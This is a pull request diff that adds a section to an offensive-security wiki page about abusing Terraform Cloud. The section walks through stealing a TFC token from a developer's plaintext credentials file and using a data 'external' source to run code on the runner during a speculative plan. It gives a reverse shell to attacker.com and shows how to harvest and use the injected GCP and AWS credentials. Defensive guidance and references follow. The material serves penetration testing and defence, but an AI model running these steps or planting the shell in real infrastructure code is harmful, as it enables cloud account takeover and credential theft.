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Merge pull request #197 from HackTricks-wiki/update_Terraform_Cloud_token_abuse_turns_speculative_plan_20250815_124146
Terraform Cloud token abuse turns speculative plan into remo...
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@@ -217,6 +217,94 @@ data "external" "example" {
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}
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```
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## Terraform Cloud speculative plan RCE and credential exfiltration
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This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
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- Preconditions:
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- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
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- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
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- Discover workspace and VCS settings via the TFC API:
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```bash
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export TF_TOKEN=<stolen_token>
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curl -s -H "Authorization: Bearer $TF_TOKEN" \
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https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
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```
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- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
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```hcl
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terraform {
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cloud {
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organization = "acmecorp"
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workspaces { name = "gcp-infra-prod" }
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}
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}
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data "external" "exec" {
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program = ["bash", "./rsync.sh"]
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}
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```
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Example rsync.sh to obtain a reverse shell on the TFC runner:
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```bash
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#!/usr/bin/env bash
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bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
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```
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Run a speculative plan to execute the program on the ephemeral runner:
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```bash
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terraform init
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terraform plan
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```
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- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
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```bash
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env | grep -i gcp || true
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env | grep -i aws || true
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```
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Expected files on the runner working directory:
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- GCP:
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- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
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- `tfc-gcp-token` (short-lived GCP access token)
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- AWS:
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- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
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- `tfc-aws-token` (short-lived token; some orgs may use static keys)
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- Use the short-lived credentials out-of-band to bypass VCS gates:
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GCP (gcloud):
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```bash
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export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
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gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
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gcloud config set project <PROJECT_ID>
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```
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AWS (AWS CLI):
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```bash
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export AWS_CONFIG_FILE=./tfc-aws-shared-config
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export AWS_PROFILE=default
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aws sts get-caller-identity
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```
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With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
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- Defensive guidance:
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- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
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- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
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- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
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- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
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- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
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## Automatic Audit Tools
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### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
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@@ -322,8 +410,13 @@ brew install terrascan
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- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
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- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
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- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
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- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
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- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
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- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
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- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
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- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
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- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
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- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
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- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
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{{#include ../banners/hacktricks-training.md}}
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